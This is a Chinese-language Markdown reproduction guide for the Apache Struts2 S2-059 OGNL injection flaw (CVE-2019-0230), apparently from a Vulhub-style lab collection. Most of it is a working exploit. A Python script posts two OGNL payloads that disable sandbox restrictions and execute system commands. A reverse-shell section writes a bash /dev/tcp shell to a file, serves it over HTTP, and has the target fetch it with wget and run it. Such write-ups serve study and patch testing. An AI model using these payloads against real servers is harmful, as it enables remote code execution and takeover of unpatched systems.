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81 lines
2.5 KiB
Markdown
81 lines
2.5 KiB
Markdown
# Apache Struts2 S2-059 远程代码执行漏洞 CVE-2019-0230
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## 漏洞描述
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Apache Struts 框架, 会对某些特定的标签的属性值,比如 id 属性进行二次解析,所以攻击者可以传递将在呈现标签属性时再次解析的 OGNL 表达式,造成 OGNL 表达式注入。从而可能造成远程执行代码。
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参考链接:
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- https://cwiki.apache.org/confluence/display/WW/S2-059
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- https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776
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## 漏洞影响
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影响版本: Struts 2.0.0 - Struts 2.5.20
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## 环境搭建
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Vulhub 执行以下命令启动 Struts 2.5.16 s2-059 测试环境:
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```
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docker-compose build
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docker-compose up -d
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```
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启动环境之后访问 `http://your-ip:8080/?id=1` 就可以看到测试界面
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## 漏洞复现
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访问 `http://your-ip:8080/?id=%25%7B233*233%7D`,可以发现 233*233 的结果被解析到了 id 属性中:
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《[OGNL Apache Struts exploit: Weaponizing a sandbox bypass (CVE-2018-11776)](https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776)》给出了绕过 struts2.5.16 版本的沙盒的 poc,利用这个 poc 可以达到执行系统命令。
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通过如下 Python 脚本复现漏洞:
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```python
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import requests
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url = "http://192.168.174.128:8080"
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data1 = {
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"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
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}
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data2 = {
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"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/awesome_poc'))}"
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}
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res1 = requests.post(url, data=data1)
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# print(res1.text)
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res2 = requests.post(url, data=data2)
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# print(res2.text)
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```
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执行 poc 之后,进入容器发现 `touch /tmp/awesome_poc` 已成功执行。
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### 反弹 shell
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编写 shell 脚本并启动 http 服务器:
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```
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echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
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python3环境下:python -m http.server 80
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```
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上传 shell.sh 文件的命令为:
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```
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wget 192.168.174.128/shell.sh
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```
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执行 shell.sh 文件的命令为:
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```
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bash shell.sh
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```
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成功接收反弹 shell:
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